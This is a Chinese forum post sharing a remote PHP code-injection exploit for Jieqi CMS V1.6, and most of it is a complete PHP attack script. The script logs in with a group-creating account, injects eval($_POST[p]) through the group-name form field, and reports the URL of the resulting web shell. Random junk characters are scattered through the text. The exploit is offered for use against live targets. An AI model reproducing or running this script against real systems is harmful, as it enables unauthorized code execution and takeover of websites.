找回密码
 立即注册
查看: 2816|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。+ G" [' t$ E( Y* H7 C0 Q! L5 t: G
/ A' E. h, `. t: s! j7 B9 \

" }2 ^. V) o9 @( B7 \, d该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。. e' a, T/ r9 h: N5 D. N2 q; n
需要有一个能创建圈子的用户。7 `6 O* w. B% g5 {
1 s* u, v+ Z# z; e1 H% p$ i
<?php. O  v* @6 l( T8 U  }( n9 m

! z, o; k+ e/ y; vprint_r('
6 Z$ W" G* `7 F1 k' B5 w+---------------------------------------------------------------------------+
. }& h' ~) ?8 i! u" f% c' LJieqi CMS V1.6 PHP Code Injection Exploit
7 `  ?$ Z" {, p+ P4 s" V/ `by flyh4t9 |* o: ~& k" R& m) X" f* k
mail: phpsec at hotmail dot com
  ~, s- f0 ^- c1 D: C" @) H9 qteam: http://www.wolvez.org
  O8 j9 c8 H( _, w+---------------------------------------------------------------------------+
3 t- F! `& i! N$ ?'); /**
" _1 v6 P! d+ N1 L7 h * works regardless of php.ini settings
" E2 _+ A5 i! b( V9 {; T5 o*/ if ($argc < 5) { print_r('& d* s1 {3 X% o6 O$ j6 l; n) f0 }  |
+---------------------------------------------------------------------------+' J1 _# d. e+ F! u, I9 I
Usage: php '.$argv[0].' host path username9 Z/ L' f- D2 F! t# K4 z! W
host:      target server (ip/hostname)' a8 V5 s7 m% E$ f& _
path:      path to jieqicms
2 q7 s. \7 R: Fuasename:  a username who can create group
8 k5 V8 T, c" ^; `Example:
9 t$ E) L- ~% E: w  ~php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password5 [% u+ R. N/ ?: M9 ~# v( B
+---------------------------------------------------------------------------+
$ y- C' F+ Z# b1 `* y'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
, `6 ~: ~2 ?& {/ D5 JContent-Disposition: form-data; name="gname"8 i7 Y% D/ ?" j0 Q  W5 W3 W

2 l8 B( t/ O  R& m5 C0 g) g'; $params .="';"; $params .='eval($_POST[p]);//flyh4t4 {3 M$ F) Q1 u5 C: i$ t% ?
-----------------------------23281168279961- j% l1 ?* g( \4 E' _
Content-Disposition: form-data; name="gcatid"+ x$ H: m' x, L- i+ D& r! `

/ b" q4 U, M$ l9 W/ V- Y1' t% R. x" r: K2 f8 q8 [2 F
-----------------------------232811682799615 f' R1 |( t' {' T  Y
Content-Disposition: form-data; name="gaudit"
, X8 f) m  c) R7 [! P8 ?
. H; m' D0 K+ o; q0 |6 r/ [5 ^1
/ d- ~5 S$ K5 n6 W: K-----------------------------23281168279961# K+ y! B! t$ g. c
Content-Disposition: form-data; name="gbrief". W6 w3 G) P# k) ^

  ?9 b+ s" o. f+ k) c& o7 Q0 q1
$ b3 p8 _. N* V+ k-----------------------------23281168279961--
; u( \$ v7 T+ r: r3 O'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com) s3 g4 `% _& C& X7 W$ J8 x5 f

( G7 ~; v+ A& ~$ L; y7 Qpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表